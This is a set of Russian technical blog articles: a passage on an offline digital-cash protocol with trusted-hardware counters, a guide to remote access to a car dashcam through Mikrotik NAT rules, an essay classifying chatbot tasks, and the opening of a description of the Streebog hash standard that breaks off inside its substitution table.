5. ... — какие-либо другие поля. Например время и место транзакции, идентификатор банкомата, который забрал физическую денюшку и т.д.
6. **h0** = **hash** (**bnid** | **parent\_h** | **counter |** ... ) — хеш всех вышеперечисленных значений
7. (**h0**)[**spkA**] — подпись, доказывающая, что блок создан кошельком А.
8. пустое поле
9. пустое поле
**Важное замечание:** процедура 4 и 7 являются атомарными. То есть доверенный носитель создаст **counter** и подпишет весь блок в рамках одного вызова! Процедура подписи, отдельная от counter-а отсутствует. Это важно с точки зрения информационной безопасности. Почему? Напишем позднее.
Далее кошелёк А передаёт блок 2 эмитенту
Структура данных на шаге передачи блока 2 от кошелька к банку-эмитенту.
Одинаковые поля выделены одним цветом.Эмитент подписывает блок 2:
1. **bnid**
2. **parent\_h**
3. **(sokA)[bpk]**
4. **counter**
5. ...
6. **h0**
7. (**h0**)[**spkA**]
8. h = hash (**bnid** | **parent\_h** | **counter |** ... | **h0** | (**h0**)[**spkA**] )
9. **(h)[bpk]**
После блок 2 передаётся кошельку А.
Итоговый блок 2 передаётся Кошельку АС этого момента банкнота **bnid** принадлежит кошельку А.
**Важное замечание:** мы считаем банк-эмитент порядочной стороной. То есть после передачи банкноты с номером **bnid**, данная банкнота более не будет передаваться никакой стороной. Это в интересах эмитента не порождать поддельные деньги, так как за каждый цифровой рубль\юань\найру эмитент обязуется предоставить физические наличные.
Перенос банкноты с кошелька А на кошелёк Б
------------------------------------------
Перенос между кошельками существенно отличается от переноса между банком-эмитентом и кошельком. Ведь одна из сторон может быть непорядочной и дважды передать одну и ту же банкноту между разными получателями. Таким образом мы получим "фальшивые" цифровые наличные.
Доверять мы можем только доверенной среде в кошельке А или Б. Но не самому приложению или сети передачи данных.
Итак, у нас есть некий Блок i (это не обязательно Блок 2) **parrent\_h** указывает на Блок i-1, его **parrent\_h** на предыдущий блок и так далее, пока не сошлёмся на Блок 1.
Кошелёк А передает все блоки кошельку Б
Кошелёк Б проверяет их корректность, последовательно проверяя все подписи. Далее, аналогично предыдущему алгоритму, создаёт новый Блок (i+1) c двумя пустыми полями:
1. **bnid** (banknote id), равыный **bnid** первого блока
2. **parent\_h = h** — это значение h предыдущего блока.
3. **(sokB)[bpk]** — подпись sokA банка-эмитента
4. **counter = get\_counter**(**bnid**) — вызов функции **get\_counter** в доверенном носителе кошелька Б. Записываем значение counter.
5. ... — какие-либо другие поля. Например время и место транзакции, идентификатор банкомата, который забрал физическую денюшку и т.д.
6. **h0** = **hash** (**bnid** | **parent\_h** | **counter |** ... ) — хеш всех вышеперечисленных значений
7. (**h0**)[**spkB**] — подпись, доказывающая, что блок создан кошельком Б.
8. пустое поле
9. пустое поле
Аналогично предыдущему алгоритму передаем Блок (i+1) кошельку А.
А дальше вот такой фокус (для удобства см. ещё и картинку).
1. Определим `counterA` как **counter** предыдущего Блока (i)
2. Обращаемся к кошельку А. Проверяем что `bnid == wallet[counterA].` Если это не так (в частности в словаре нет ключа), то ошибка и конец алгоритма
3. Удаляем ключ `counterA` из **wallet** словаря кошелька А.
4. Берём хеш и подписываем Блок (i+1)
**Важные нюансы:**
* Пункты 2, 3, 4 делаем в доверенной среде!
* Пункты 2, 3, 4 атомарны. То есть это одна функция.
Пример подписи Блока i+1 кошельком А. В словаре wallet есть четыре записи. Третья содержит counterA предыдущего блока, следовательно купюру bnid ещё НЕ передавали и можно подписать Блок i+1Далее передаём по сети Блок (i+1)
Итоговое состояние блокчейна для купюры bnid. В wallet B появились (ключ, значение) в виде (counterB, bnid)C этого момента кошелёк Б владелец купюры с номером **bnid**. Обращаем внимание, что `counterA` уже отсутствует в кошельке А, следовательно данную купюру А повторно переслать не может. У кошелька Б есть `counterB`, следовательно он имеет возможность передачи купюры.
### А если у нас online взаимодействие, а не offline ?
В этом случае не нужно городить никаких огородов с **counter**-ами и даже с доверенной средой.
Вся безопасность обеспечивается на сервере. Данная задача давно решена в прикладной криптографии.
---
Проблема больших хвостов
------------------------
Есть проблема накопления блоков для каждой купюры... На определённом этапе к каждой купюре будет такой хвост блокчейнов, что хранить их будет крайне затруднительно...
Передавая банкноту из одного кошелька в другой мы увеличиваем блокчейн для КАЖДОЙ цифровой купюры. Это неудобно, необходим механизм обмена на купюры с более малым хвостом, либо "схлопывания" блокчейнаДля этого, как только устройство будет доступно online, можно установить связь с сервером эмитента и поменяться банкнотами: отдать все банкноты с длинным хвостом на новые банкноты (у которых только блок 1).
Можно так же в каждый блок блокчейна добавлять пустое поле на случай подписи эмитента. Эмитент подписывает эти блоки как только их кто-то первый пришлёт. В этом случае можно хранить только первый блок и последний блок с подписью эмитента. А остальные блоки удалить из памяти.
Таким образом в цифровых наличных время от времени нужно быть online. Для удобства пользования.
Почему это безопасно?
---------------------
Безопасность обеспечивается доверенной средой внутри каждого из кошельков. Без доверенной среды решить задачу offline передачи денег невозможно.
~~Для зануд~~ Для любителей математики можно доказать формально. Кому интересно — см. под спойлером.
Доказательво необходимости существования доверенной среды в offline передаче цифровых наличныхДокажем от противного.
Предположим что можно решить задачу однократной передачи цифровой банкноты БЕЗ доверенной среды и offline (без доступа в глобальную сеть).
Любой алгоритм, работающий где угодно, можно абстрактно предствить в виде [конечного автомата](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%BD%D0%B5%D1%87%D0%BD%D1%8B%D0%B9_%D0%B0%D0%B2%D1%82%D0%BE%D0%BC%D0%B0%D1%82):
где S — множество состояний, X, Y — множество входа\выхода, δ — функция переходов, λ — функция выходов.
Предположим что мы владеем купюрой в "100 рублей" и это соотвествует некоему состоянию **a**∈S. Предположим что мы передали купюру кому-либо и это соотвествует состоянию **b**∈S.
Так как среда не доверенная, то мы внутри неё можем произвольно менять память. Таким образом на формальном языке конечных автоматов имеем утверждение:
нетрудно догадаться что волшебный x для функции переходов δ это, например, [команда dd](https://ru.wikipedia.org/wiki/Dd) для Linux оболочки с правами root. :)
Следовательно находясь в состоянии **b**, можно перейти в состояние **a**.
Но в состоянии **a** мы владеем 100 рублями, которые ранее передали. Следовательно мы можем повторно те же 100 рублей передать другому лицу.
Получили противоречие.
ч.т.д.
Что мы имеем в доверенной среде?
Проверка наличия **counter** и подпись происходит атомарно. Так же **counter**-ы никогда не повторяются, так как **get\_counter** увеличивает counter на единицу при каждом вызове.
Следовательно подписывая новый блок мы можем быть убеждены что более никогда не подпишем никакой другой блок.
Таким образом counter — это что-то типа одноразового билетика.
### А что если доверенную среду поломают?
Если это токен или SIM-ка, то задача нетривиальная. В конце концов мы же пользуемся банковскими картами? Пропусками? Ведём online-бухгалтерию?..
Но может показаться что риск с цифровыми наличными более существенен. Однако это не так. Даже если кто-то поломает SIM карту (или токен), он НЕ ПОЛУЧИТ доступ ко всем деньгам системы. Хакер просто сможет бесконтролько умножать только те **bnid**, которые у него находятся.
Во-первых эти **bnid** нужно как-то получить. Во-вторых, что более существенно, хакер должен эти **bnid-ы** как-то слить.
Если у пользователей будет привычка высылать блокчейны в online как только, как это будет возможно, это даст большой риск для "цифровых фальшивомонетчиков".
А рано или поздно это произойдёт (скорее рано). Мы очень быстро узнаем что система поломана.
Социальная проблема: Большой Брат
---------------------------------
> *"Никому нельзя будет ни покупать, ни продавать, кроме того, кто имеет это начертание, или имя зверя, или число имени его." (Откр, 13:17)*
>
>
Давайте серьезно. Да, есть странные люди, которые против ИНН-нов... Но в современном цифровом мире есть *реальные* угрозы нашей свободе и безопасности.
Как быть с цифровыми наличными с точки зрения проблемы Большого Брата? Возможны три варианта:
1. Просто забить и плыть по течению. Принять как неизбежность.
2. Не внедрять технологию, не смотря на социальные преимущества.
3. Осознать проблему и создать систему обратной связи для её контроля
Если цифровые наличные действительно так нужны государству, то их почти наверняка внедрят. И лучше уж поучаствовать в этом процессе как гражданское общество и смягчить углы, либо заранее сказать категорическое "нет". Равнодушие (п.1) самый худший вариант.
Согласившись на п.2, мы отстанем в технолоическом развитии в XXI веке. Поэтому я против этого.
Остаётся п.3, если я ничего не напутал и нет *других* вариантов.
Любой анализ информации цифровых наличных должен рассматриваться либо в обобщённом виде (152 ФЗ, привет!), либо крайне деликатно по жжёстким законам и правилам.
Следить персонально можно только за чиновниками, юр.лицами и физ.лицами крупного бизнеса, взаимодействующего с государством. Простые люди могут попасть под слежку только при подозрении на терроризм и иную аналогичную уголовную деятельность, но ни при каких обстоятельствах не за гражданскую позицию.
Статистика подобной слежки ежегодно (без имён) должна публиковатся в открытом доступе.
Лицо, управляющее системой анализа данных из цифровых наличных, назначается президентом и\или государственной думой. За грубое нарушение устава лицо пожизненно лишается права занимать гос.посты.
Я думаю даже, что сама система цифровых наличных (как протокол передачи) должна быть Open Source. Много вопросов и страхов тогда сами собой отпадут. И внутри системы нужно предусмотреть физическую невозможность блокировки offline кошельков. Есть негодяй? Ловите его очно. Суд и только суд. Не должно быть физической возможности заблокировать кошелёк человека по нажатию кнопки.
**Если увидите орфографическую ошибку — не поленитесь и напишите мне в личку.**Р.S.> Добавил тег "криптовалюты", так как тега "цифровые наличные" нет | https://habr.com/ru/post/688384/ | null | ru | null |
# Вариант произвольного доступа к настройкам и записям автомобильного регистратора из любой точки интернета
Автомобильные видеорегистраторы уже достаточно давно стали одним из обязательных атрибутов для любого автомобилиста. Лично я без тени преувеличения могу заключить, что не могу чувствовать себя в безопасности за рулём без такого простого гаджета. Разумеется, за последние 10 лет прогресс серьёзно продвинулся: сегодня на рынке уже достаточно много производителей, выпускающих достойные модели, и нам, водителям, уже есть из чего выбрать.
Мой выбор пал на регистратор Neoline G-Tech X53, и тому было несколько причин:
* он укомплектован двумя камерами, одна из которых даёт настоящую FullHD картинку,
* он спроектирован специально для скрытной установки,
* он полностью управляется по WiFi через приложение на смартфоне, что немаловажно в контексте данной статьи, и кроме прочего это даёт возможность по-настоящему скрытной установки без потребности периодически лазить или доставать блок (например, чтобы скопировать запись с флешки).
Затем, как это часто бывает, аппетит пришёл во время еды. После установки регистратора в машину я оценил его удобство, вошёл во вкус, и мне захотелось, чтобы доступ к его записям у меня был не только рядом с машиной, где ловится сигнал его WiFi, а **вообще везде**. Ну, или хотя бы дома, для начала.
Конечно, в природе существуют модели регистраторов, которые по команде сливают записи в облако, но они привязывают пользователя к этому облаку и вынуждают платить за него, а это не мой вариант. Кроме того, моя хотелка хорошо накладывалась на планы установки в машину WiFi роутера с модемом, так что задача выглядела вполне выполнимой.
Правда, достаточно быстро выяснилось, что у регистратора нет документированного API и доступ к нему возможно получить только при помощи родного приложения для смартфона. Приложение в свою очередь оказалось очень прихотливым — оно работает только тогда, когда телефон подключен к WiFi регистратора.
То есть мне предстояло понять, чего хочет приложение от WiFi, и заставить его «увидеть» регистратор, расположенный совсем в другом месте, с решением всех сопутствующих технических загвоздок — в общем, всё, как я люблю.
В качестве маршрутизатора, раздающего в машине интернет через WiFi, я использовал Mikrotik RBmAP2nD (mAP) с модемом Huawei e3372h (если вы знаете другие бюджетные варианты, на которых можно реализовать конфигурации, описанные ниже — напишите в комментариях). Поскольку регистратор умеет только раздавать свой WiFi и не умеет подключаться к уже имеющейся AP, пришлось настраивать AP-Client, который должен к нему подключаться. И тут достаточно быстро выяснилось, что работа Mikrotik в качестве одновременно AP и AP-Client (на slave-интерфейсе) приводит к нестабильной раздаче WiFi, поэтому было решено поставить в пару к основному роутеру ещё один — Mikrotik RBmAPL-2nD (mAP lite).
### Обманываем приложение
Для начала я заставил приложение работать с регистратором через совершенно другую сеть WiFi, работающую в той же машине. Попутно удалось ответить на вопросы — как приложение опознаёт сеть регистратора и как можно его обмануть. Также попутно удалось достичь ещё бОльшего удобства — теперь для работы с регистратором в машине не нужно переключаться на его WiFi, на котором нет интернета.
Не буду подробно описывать десятки экспериментов, в ходе которых я пришёл к рабочему решению, просто опишу это решение. Итак, что нужно, чтобы приложение опознало WiFi регистратора:
1. SSID должен иметь вид "*G-Tech X5X-120...*", где вместо последних точек — произвольные цифры (маленькие буквы) в шестнадцатеричной системе счисления. Для примера, я устанавливал "*G-Tech X5X-120aaa*" и так далее. Возможно, вместо «120» тоже можно ставить что-то своё, я не пробовал.
2. Адрес клиента должен быть получен по DHCP, должен находиться в подсети 192.168.100.0/24, адрес сервера (регистратора) = 192.168.100.1.
Остальное не принципиально. Многое другое не пробовал, но точно знаю, что:
1. MAC-адрес AP и сервера не имеют значения.
2. Если на пути следования трафика есть участки с пониженным MTU (например, тоннели), связь работает нормально.
3. TCP Window достаточно широкое, чтобы скачивание записей не замедлялось при пингах даже под 300мс и выше.
Итак, что в сухом остатке?
* Приложение хочет иметь адрес в сети 192.168.100.0/24 и соединяться с адресом 192.168.100.1.
* У регистратора адрес тоже 192.168.100.1 и он хочет, чтобы клиент был в сети 192.168.100.0/24 (на другие у него просто нет маршрутов).
Это не поменять, но мы ведь хотим научиться разносить приложение и регистратор. Значит надо присвоить роутеру, раздающему WiFi, адрес 192.168.100.1, а для решения возникающих проблем с маршрутизацией трафика надо ввести стыковочную подсеть и добавить немного сетевой магии. Например, так:
Описание:
* Приложение работает на смартфоне, который подключен к маршрутизатору R1. Смартфон получает адрес по DHCP, в нашем примере это 192.168.100.100.
* IP-адрес R1 на интерфейсе WiFi — 192.168.100.1 (как хочет приложение), на Ethernet-интерфейсе — 192.168.99.1 (это стыковочная подсеть).
* IP-адрес R2 на Ethernet-интерфейсе — 192.168.99.2, на WiFi интерфейсе — получается по DHCP от регистратора, в нашем примере это 192.168.100.150.
* Каждый маршрутизатор выполняет DNAT на входе и SNAT на выходе, таким образом пакеты в каждой подсети имеют адреса источника и назначения, совпадающие с адресами граничных маршрутизаторов этой сети.
Как происходит соединение:
1. Приложение убеждается в том, что оно подключено к WiFi регистратора, и инициирует соединение с адресом 192.168.100.1, полагая, что это адрес регистратора.
2. R1 принимает запрос на соединение, выполняя на входящем интерфейсе DNAT с подменой адреса назначения на 192.168.99.2, а на исходящем интерфейсе — SNAT с подменой адреса источника на 192.168.99.1.
3. R2 принимает запрос на соединение, выполняя на входящем интерфейсе DNAT с подменой адреса назначения на 192.168.100.1, а на исходящем интерфейсе — masquerade с подменой адреса источника на адрес, полученный по DHCP от регистратора.
4. Регистратор принимает и обрабатывает запрос на соединение, пришедший от адреса, который он ранее выдал по DHCP. Что и требовалось.
У вдумчивого читателя уже возник вопрос: для какого именно трафика делать перенаправление? Начав со «всего трафика, кроме ssh» и включив логирование, я дознался, что **достаточно перенаправлять tcp-порты 7777, 7778 и 7779**. Ничего другого приложению для работы с регистратором не нужно.
### Пропускаем трафик через интернет
Научившись обманывать приложение, я устранил самое сложное препятствие на пути к основной цели — организации доступа к записям с любой точки интернета. Но чтобы приложение, запущенное на телефоне в этой «любой точке», могло соединиться с регистратором, для его «обмана» нужно выполнить все вышеозначенные условия, а это накладывает некоторые ограничения. Впрочем, по одному адресу записи бывают нужны особенно часто — это дома. Вот с домашнего роутера и начнём.
Дома, как вы наверное уже догадались, у меня тоже стоит Mikrotik. У внешнего маршрутизатора — «белый» ip-адрес, и я этим воспользовался, чтобы создать L2TP-тоннель между автомобильным и домашним роутерами и организовать между ними ещё одну стыковочную подсеть. В схему, которую я описал выше, добавился ещё один маршрутизатор, и теперь она упрощённо выглядит так:
Описание:
* Приложение работает на смартфоне, который подключен к домашнему маршрутизатору R0. Смартфон получает адрес по DHCP, в нашем примере это 192.168.100.100.
* IP-адрес R0 на интерфейсе WiFi — 192.168.100.1 (как хочет приложение), на L2TP-интерфейсе — 192.168.98.1 (стыковочная подсеть 0).
* IP-адрес R1 на интерфейсе L2TP — 192.168.98.2, на Ethernet-интерфейсе — 192.168.99.1 (стыковочная подсеть 1).
* IP-адрес R2 на Ethernet-интерфейсе — 192.168.99.2, на WiFi интерфейсе — получается по DHCP от регистратора, в нашем примере это 192.168.100.150.
* Каждый маршрутизатор выполняет DNAT на входе и SNAT на выходе, таким образом пакеты в каждой подсети имеют адреса источника и назначения, совпадающие с адресами граничных маршрутизаторов этой сети.
Как происходит соединение:
1. Приложение убеждается в том, что оно подключено к WiFi регистратора, и инициирует соединение с адресом 192.168.100.1, полагая, что это адрес регистратора.
2. R0 принимает запрос на соединение, выполняя на входящем интерфейсе DNAT с подменой адреса назначения на 192.168.98.2, а на исходящем интерфейсе — SNAT с подменой адреса источника на 192.168.98.1.
3. R1 принимает запрос на соединение, выполняя на входящем интерфейсе DNAT с подменой адреса назначения на 192.168.99.2, а на исходящем интерфейсе — SNAT с подменой адреса источника на 192.168.99.1.
4. R2 принимает запрос на соединение, выполняя на входящем интерфейсе DNAT с подменой адреса назначения на 192.168.100.1, а на исходящем интерфейсе — masquerade с подменой адреса источника на адрес, полученный по DHCP от регистратора.
5. Регистратор принимает и обрабатывает запрос на соединение, пришедший от адреса, который он ранее выдал по DHCP. Что и требовалось.
**PS.**С пунктом 2 можно поступить немного проще, если делать DNAT сразу на 99, а не 98 подсеть, и добавить маршрут на 99 подсеть через R1. Но я лишь описываю общую идею и один из примеров её реализации, и есть множество способов встроить всё это в уже имеющуюся сеть.
### А откуда берём питание?
Маршрутизаторы и модем потребляют немного, но достаточно, чтобы за 3-4 дня высосать автомобильный аккумулятор в ноль. Поэтому включать их лучше по требованию. А чтобы это вписывалось в концепцию «доступа в произвольный момент времени», я воспользовался тем фактом, что установленная в моей машине сигнализация Starline A96 имеет кроме прочего GSM-модуль, запрограммировал включение доп.канала по команде с пульта или приложения смартфона и запитал маршрутизатор mAP с доп.канала, а mAP lite — через PoE с первого. Рассказывать об этом здесь я подробно не буду, всё это легко гуглится, но если интересно — напишите в комментах.
### Итоги
Сделав всё это, я получил возможность не только копировать записи регистратора, сидя при этом дома, а ещё и смотреть картинки с камер в режиме реального времени. И всё это вне зависимости от того, где находится автомобиль, главное — чтобы у его маршрутизатора была связь с интернетом. Разве это не прекрасно?
А ещё приятным бонусом получил более высокую скорость копирования видеозаписей, нежели сидя в машине: 1.2-1.5 мб/с против 1 мб/с. Не знаю, почему.
### А конфиги будут?
Честно признаться, не думаю, что кому-нибудь придёт в голову делать в точности то, что описано. В любом случае будет некая адаптация решения к тому, что уже имеется. Но если сильно нужно — ниже вы найдёте правила nat, на которых реализовано 99% всего того, о чём шла речь выше.
**R0**
```
/ip firewall nat
add action=src-nat chain=srcnat comment=AVR out-interface=l2tp-auto src-address=192.168.100.0/24 to-addresses=192.168.98.1
add action=dst-nat chain=dstnat comment=AVR dst-address=192.168.100.1 dst-port=7777,7778,7779 in-interface=wlan1 protocol=tcp to-addresses=192.168.98.2
```
**R1**
```
/ip firewall nat
add action=masquerade chain=srcnat comment=AVR out-interface=l2tp-auto
add action=masquerade chain=srcnat comment=AVR out-interface=ether2
add action=masquerade chain=srcnat comment=AVR out-interface=wlan1
add action=dst-nat chain=dstnat comment=AVR dst-port=7777,7778,7779 in-interface=l2tp-auto protocol=tcp to-addresses=192.168.99.2
add action=dst-nat chain=dstnat comment=AVR dst-port=7777,7778,7779 in-interface=wlan1 protocol=tcp to-addresses=192.168.99.2
```
**R2**
```
/ip firewall nat
add action=dst-nat chain=dstnat comment=AVR dst-address=192.168.99.2 dst-port=7777,7778,7779 in-interface=ether1 protocol=tcp to-addresses=192.168.100.1
add action=masquerade chain=srcnat comment=AVR out-interface=wlan1
``` | https://habr.com/ru/post/416323/ | null | ru | null |
# Искусственный интеллект – на каждый ответ будет задан вопрос
Искусственный интеллект в речевых экспертных системах развивается в направлении чат-ботов. Бесспорно, это понятное всем направление развития. Проблем, при его формировании, безусловно, много, это видно из [презентаций разработчиков](https://habr.com/ru/company/yandex/blog/339638/). Они неплохо рассказывают о своих достижениях, о тех проблемах, которые им удалось решить, но хотелось бы и увидеть проблемы, которые им не удалось решить.
Посмотрим на все эти проблемы с теории информации. Информация — сведения, воспринимаемые человеком и (или) специальными устройствами как отражение фактов материального или духовного мира в процессе коммуникации (ГОСТ 7.0-99).
Основные функции при работе с информацией:
1. Поиск новой информации;
2. Сохранение информации;
3. Передача информации.
По первой функции. Можно разделить на несколько уровней. Локальный уровень где, в принципе, задачи выполняются достаточно эффективно. Примером может быть вопрос пользователя: «Где ближайшая АЗС?», ответ на него системы дают достаточно надежно. Тут, на мой взгляд, следует определить термин «локальный уровень поиска новой информации», как возможность получение новой информации пользователем из источника, который существует в конкуренции с другими источниками, не связанные с ИИ. Представленный пример хорош тем, что естественно понятно, что пользователь информацию, о ближайшей АЗС, может получить от окружающих, карт, то есть из других источников. И выбор источника определяется только издержками пользователя.
Задачи, которые невозможно пользователю решить на основе локальной информации, можно отнести к внешнему (верхнему) уровню, то есть к уровню, который имеет размерность выше, чем доступная пользователю. Примером является задача построения оптимального маршрута движения из А в Б, с учетом внешней ситуации (пробок и т.п.) и критериев эффективности пользователя (потраченного времени и т.п.). Мы видим, что решение этих задач, сейчас, реализуется удовлетворительно.
Задачи, которые требуют выхода за пределы знаний общества, обозначим этот уровень — глобальным, и проигнорируем его. Так как, одного края этих задач — прогнозирование, а с другой стороны, класса этих задач, существует теорема Геделя о неполноте.
По функции сохранения информации. Предполагаю, что данные системы, делают это на уровне, который достижим в настоящее время.
Третья функция – это передача информации. В настоящий момент, теоретически, любая система может передать необходимую информацию в различных формах. Примем, что уровень развития для этого аспекта удовлетворительный.
Посмотрим, с высказанной здесь, точки зрения на развитие таких экспертных систем. Обратимся к принципам, используемых [разработчиком](https://habr.com/ru/company/yandex/blog/339638/): «К счастью, у нас есть вся мощь поисковой машины Яндекса, которая каждый день сталкивается с миллионами запросов, ищет миллионы ответов и учится понимать, какие из них хорошие, а какие – нет». То есть, по сути, физическая схема поиска решения, сводится к простой схеме:
```
Запрос пользователя -> поиск состоятельного ответа в базе данных -> вывод ответа
```
Как видим ответ представляется, как один из зафиксированных, то есть уже существующих результатов, либо преобразованных и/или согласованных в единый от нескольких зафиксированных результатов. Либо от [редакторских баз](https://habr.com/ru/company/yandex/blog/339638/): «Мы же хотим, чтобы персональный помощник представлял собой целостную личность со вполне определенным набором качеств. Здесь на помощь приходят наши редакторские тексты. Их особенность в том, что они изначально написаны от лица той личности, которую мы хотим воссоздать в Алисе. Получается, что можно продолжать обучать Алису на миллионах строк случайных текстов, но отвечать она будет с оглядкой на эталон поведения, заложенный в редакторских ответах. И это то, над чем мы уже работаем».
По сути получается, что чат-бот это посредник между пользователем и неопределенным кругом лиц (юридическая формулировка). И считаю, что при таком взгляде на эти системы можно структурировать задачи и проблемы, детализировать их и определять новые цели.
Что такое беседа. Это процесс передачи информации от одного субъекта к другому в одном сеансе. Он используется в различных обстоятельствах. При равноправных субъектах, для согласования действий, при неравноправности субъектов, для определения действий подчиненного субъекта.
Тогда виды задач беседы формируются от их типа.
По количеству участников:
1. Монолог;
2. Диалог;
3. Коллективная беседа (конференция);
4. Общение с неопределенным кругом лиц.
При такой кластеризации, с учетом отношения к «локальному уровню поиска новой информации», можно увидеть, что поиск задач для ИИ идет, в основном, при использовании ИИ для четвертого типа задач «Общения с неопределенным кругом лиц».
Посмотрим на остальные типы.
Монолог – здесь будем считать монологом попытку субъектом систематизировать результаты проведенного анализа, фиксации полученных результатов. Так как по М.Твену: «Любое упоминание в прессе, даже самое негативное, кроме некролога, это реклама». В чем ИИ может посодействовать человеку, если он обратился к нему с монологом. Класс ответов достаточно очевиден – подыскать аналогичные монологи из своей базы. Тут же возникает аспект, что по своей сути, и, любое научное исследование, до опубликования является монологом одного или нескольких авторов. Посильная ли эта задача для ИИ, подыскать аналогичные исследования, на сегодняшний день. Ответ очевиден – да.
Диалог. Возьмем пример из соцсетей, на основе известной песенки:
— А ты меня любишь?
— Ага.
— С ты со мной будешь?
— Ага
— Так будем мы вместе, так будем мы рядом, с тобою всегда!
Анализируем этот пример. Может ли ИИ чем-то посодействовать пользователю на локальном уровне. Предполагаю, что незначительно, так как на локальном уровне собеседник, для ведущих диалог, имеет приоритетный вес. Но, с точки зрения задач верхнего уровня, тут уже помощь ИИ, а значит и задачи для него есть. Первая – это определение, не с ботом ли разговаривает субъект. Вторая — валидность ответов. А далее, еще огромное количество задач: троллинг, степень заинтересованности, скрытые цели и т.д.
Увеличивая степень важности диалога. Можно увидеть, как использовать мощности ИИ в различных сферах:
А) прием на работу;
Б) ведение переговоров;
В) Судебные процессы.
И список задач возникает огромный.
Представим понятную модель на примере приема на работу.
Сторона А (работодатель). Представление вакансии. ИИ анализирует представленные резюме и представляет список подходящих кандидатов. ЭйчАр проанализировал и всем отказал, ИИ дает совет, что необходимо, в представлении вакансии изменить, дополнить и т.п. Если, ему (HR) не удалось найти сотрудника, то пусть подумает о своем соответствии и, о соразмерности требований и вознаграждений. (Это от меня подзатыльник всем HR).
Сторона Б (соискатель). Написание резюме. Составление ИИ, подсказок, оценок, сопоставительных результатов. Ну и претенденту возможность критически посмотреть на свои возможности.
Конференция. Для этого типа общения, составляя аналогию для диалога, также видно множество задач, в которых ИИ способен принести пользу. От текущих подсказок, до сигнализации об уровне вовлеченности в тему беседы всех ее участников. Влияние каждого участника на результат, к которому пришла конференция. Поиск и подключение внешних специалистов в текущем режиме. Для неравноправных субъектов — это инструкции по использованию оборудования. И многое другое.
Общение с неопределенным кругом лиц. В этом типе общения, примеров использования ИИ уже огромное количество, от создания рекламных текстов до создания речи на генассамблеи ООН.
Здесь на суд публики представлена попытка систематизации задач перед ИИ. Так же представлена идея критерия сопоставления различных ИИ. В основном, этот материал сварился, по результатам проб [навыков Алисы](https://dialogs.yandex.ru/store), которые попытались реализовать различные разработчики. | https://habr.com/ru/post/458164/ | null | ru | null |
# Хеш-функция Стрибог или в городе новый шериф
В 2012 году вся общественность, более или менее причастная к информационной безопасности, пристально следила за выборами нового стандарта хеширования данных SHA-3. На хабре достаточно широко освещалось это важное событие: публиковались результаты каждого раунда конкурса ([раз](http://habrahabr.ru/post/109946/), [два](http://habrahabr.ru/post/152136/), [три](http://habrahabr.ru/post/153349/)), приводилось [описание](http://habrahabr.ru/post/159073/) нового стандарта, и даже [объяснялось](http://habrahabr.ru/post/168707/) почему новый стандарт так крут.
Однако, за всем этим ажиотажем совсем незамеченным осталось другое, не менее значимое событие: 1 января 2013 года в РФ также сменился стандарт хеш-функции.
Итак, встречайте: полное описание нового стандарта и его реализация на C#. Как говорится, лучше поздно, чем никогда.
В качестве нового стандарта, который получил номер 34.11-2012, была принята хеш-функция под названием Стрибог. Стрибог — это семейство хеш-функций, включающее в себя всего две функции. Функцию с длиной выходного значения в 256 бит и функцию с длиной выходного значения в 512 бит. Обе эти функции имеют одинаковую структуру и отличаются друг от друга только начальным внутренним состоянием. Входными данными для обеих функций является блок данных длиной 512 бит. В случае, если длина сообщения больше 512 бит, то происходит разбиение сообщения на блоки. В случае же, если длина меньше 512 бит, то производится дополнение сообщения.
Прежде чем приступать к описанию алгоритма, расскажем о преобразованиях, которые используются при вычислении хеш-функции.
#### Преобразования
1. **X-преобразование.** На вход функции **X** подаются две последовательности длиной 512 бит каждая, выходом функции является XOR этих последовательностей.
2. **S-преобразование.** Функция **S** является обычной функцией подстановки. Каждый байт из 512-битной входной последовательности заменяется соответствующим байтом из таблицы подстановок **π**
Таблица **π** является константой и может быть записана в виде массива:
**Значение подстановки pi;**
byte[] Pi={
0xFC, 0xEE, 0xDD, 0x11, 0xCF, 0x6E, 0x31, 0x16, 0xFB, 0xC4, 0xFA, 0xDA, 0x23, 0xC5, 0x04, 0x4D,
0xE9, 0x77, 0xF0, 0xDB, 0x93, 0x2E, 0x99, 0xBA, 0x17, 0x36, 0xF1, 0xBB, 0x14, 0xCD, 0x5F, 0xC1,
0xF9, 0x18, 0x65, 0x5A, 0xE2, 0x5C, 0xEF, 0x21, 0x81, 0x1C, 0x3C, 0x42, 0x8B, 0x01, 0x8E, 0x4F,
0x05, 0x84, 0x02, 0xAE, 0xE3, 0x6A, 0x8F, 0xA0, 0x06, 0x0B, 0xED, 0x98, 0x7F, 0xD4, 0xD3, 0x1F,
0xEB, 0x34, 0x2C, 0x51, 0xEA, 0xC8, 0x48, 0xAB, 0xF2, 0x2A, 0x68, 0xA2, 0xFD, 0x3A, 0xCE, 0xCC,
0xB5, 0x70, 0x0E, 0x56, 0x08, 0x0C, 0x76, 0x12, 0xBF, 0x72, 0x13, 0x47, 0x9C, 0xB7, 0x5D, 0x87,
0x15, 0xA1, 0x96, 0x29, 0x10, 0x7B, 0x9A, 0xC7, 0xF3, 0x91, 0x78, 0x6F, 0x9D, 0x9E, 0xB2, 0xB1,
0x32, 0x75, 0x19, 0x3D, 0xFF, 0x35, 0x8A, 0x7E, 0x6D, 0x54, 0xC6, 0x80, 0xC3, 0xBD, 0x0D, 0x57,
0xDF, 0xF5, 0x24, 0xA9, 0x3E, 0xA8, 0x43, 0xC9, 0xD7, 0x79, 0xD6, 0xF6, 0x7C, 0x22, 0xB9, 0x03,
0xE0, 0x0F, 0xEC, 0xDE, 0x7A, 0x94, 0xB0, 0xBC, 0xDC, 0xE8, 0x28, 0x50, 0x4E, 0x33, 0x0A, 0x4A,
0xA7, 0x97, 0x60, 0x73, 0x1E, 0x00, 0x62, 0x44, 0x1A, 0xB8, 0x38, 0x82, 0x64, 0x9F, 0x26, 0x41,
0xAD, 0x45, 0x46, 0x92, 0x27, 0x5E, 0x55, 0x2F, 0x8C, 0xA3, 0xA5, 0x7D, 0x69, 0xD5, 0x95, 0x3B,
0x07, 0x58, 0xB3, 0x40, 0x86, 0xAC, 0x1D, 0xF7, 0x30, 0x37, 0x6B, 0xE4, 0x88, 0xD9, 0xE7, 0x89,
0xE1, 0x1B, 0x83, 0x49, 0x4C, 0x3F, 0xF8, 0xFE, 0x8D, 0x53, 0xAA, 0x90, 0xCA, 0xD8, 0x85, 0x61,
0x20, 0x71, 0x67, 0xA4, 0x2D, 0x2B, 0x09, 0x5B, 0xCB, 0x9B, 0x25, 0xD0, 0xBE, 0xE5, 0x6C, 0x52,
